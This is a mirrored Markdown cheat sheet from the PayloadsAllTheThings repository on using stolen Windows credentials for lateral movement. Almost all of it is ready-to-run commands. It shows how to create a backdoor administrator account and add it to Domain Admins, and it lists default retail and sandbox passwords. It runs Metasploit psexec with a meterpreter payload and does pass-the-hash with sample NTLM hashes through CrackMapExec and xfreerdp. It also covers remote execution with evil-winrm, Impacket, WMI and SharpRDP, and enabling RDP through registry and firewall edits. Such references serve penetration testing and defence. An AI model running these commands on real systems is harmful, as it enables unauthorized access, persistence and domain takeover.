mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
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229 lines
6.5 KiB
Markdown
229 lines
6.5 KiB
Markdown
# Windows - Using credentials
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## Summary
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* [TIPS](#tips)
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* [TIP 1 - Create your credential](#tip-1-create-your-credential)
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* [TIP 2 - Retail Credential](#tip-2-retail-credential)
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* [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount)
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* [Metasploit](#metasploit)
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* [Metasploit - SMB](#metasploit-smb)
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* [Metasploit - Psexec](#metasploit-psexec)
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* [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials)
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* [WinRM](#winrm)
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* [Crackmapexec](#crackmapexec)
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* [Winexe](#winexe)
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* [WMI](#wmi)
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* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
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* [PsExec - Sysinternal](#psexec-sysinternal)
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* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
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* [Netuse](#netuse)
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* [Runas](#runas)
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## TIPS
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### TIP 1 - Create your credential
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```powershell
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net user hacker Hcker_12345678* /add /Y
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net localgroup administrators hacker /add
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net localgroup "Remote Desktop Users" hacker /add # RDP access
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net localgroup "Backup Operators" hacker /add # Full access to files
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net group "Domain Admins" hacker /add /domain
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```
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Some info about your user
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```powershell
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net user /dom
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net user /domain
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```
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### TIP 2 - Retail Credential
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Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
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when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
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```powershell
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Username: RetailAdmin
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Password: trs10
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```
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### TIP 3 - Sandbox Credential - WDAGUtilityAccount
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WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
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Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
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```powershell
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\\windowssandbox
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Username: wdagutilityaccount
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Password: pw123
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```
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## Metasploit
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### Metasploit - SMB
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```c
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use auxiliary/scanner/smb/smb_login
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set SMBDomain DOMAIN
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set SMBUser username
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set SMBPass password
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services -p 445 -R
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run
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creds
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```
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### Metasploit - Psexec
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Note: the password can be replaced by a hash to execute a `pass the hash` attack.
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```c
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use exploit/windows/smb/psexec
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set RHOST 10.2.0.3
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set SMBUser username
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set SMBPass password
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set PAYLOAD windows/meterpreter/bind_tcp
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run
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shell
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```
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## Crackmapexec
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```python
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git clone https://github.com/byt3bl33d3r/CrackMapExec.github
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python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
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python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
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# pass the hash
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cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
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```
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## Remote Code Execution with PS Credentials
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```powershell
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$SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
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$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
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Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
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```
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## WinRM
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```powershell
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root@payload$ git clone https://github.com/Hackplayers/evil-winrm
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root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
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root@payload$ evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
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```
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## Winexe
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Integrated to Kali
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```python
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winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
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```
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## WMI
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```powershell
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wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
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```
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## Psexec.py / Smbexec.py / Wmiexec.py
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from Impacket
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```python
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git clone https://github.com/CoreSecurity/impacket.git
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python psexec.py DOMAIN/username:password@10.10.10.10
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python smbexec.py DOMAIN/username:password@10.10.10.10
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python wmiexec.py DOMAIN/username:password@10.10.10.10
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# psexec.exe -s cmd
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# switch admin user to NT Authority/System
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```
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## PsExec - Sysinternal
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from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
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```powershell
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PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
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PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
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```
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## RDP Remote Desktop Protocol
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Abuse RDP protocol to execute commands remotely with [SharpRDP](https://github.com/0xthirteen/SharpRDP)
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```powershell
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SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
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```
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Or connect remotely with `rdesktop`
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```powershell
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rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
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rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
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# -g : the screen will take up 70% of your actual screen size
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# -r disk:share : sharing a local folder during a remote desktop session
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```
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Note: you may need to enable it with the following command
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```powershell
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reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
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netsh firewall set service remoteadmin enable
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netsh firewall set service remotedesktop enable
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```
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or with psexec(sysinternals)
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```powershell
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psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
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```
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or with crackmapexec
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```powershell
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crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
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```
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or with Metasploit
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```powershell
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run getgui -u admin -p 1234
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```
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or with xfreerdp
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```powershell
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xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
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xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
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xfreerd /u:runner /v:10.0.0.1 # password will be asked
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```
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## Netuse
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Windows only
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```powershell
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net use \\ordws01.cscou.lab /user:DOMAIN\username password
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C$
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```
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## Runas
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```powershell
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runas /netonly /user:DOMAIN\username "cmd.exe"
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runas /noprofil /netonly /user:DOMAIN\username cmd.exe
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```
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## References
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- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
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- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
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- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)
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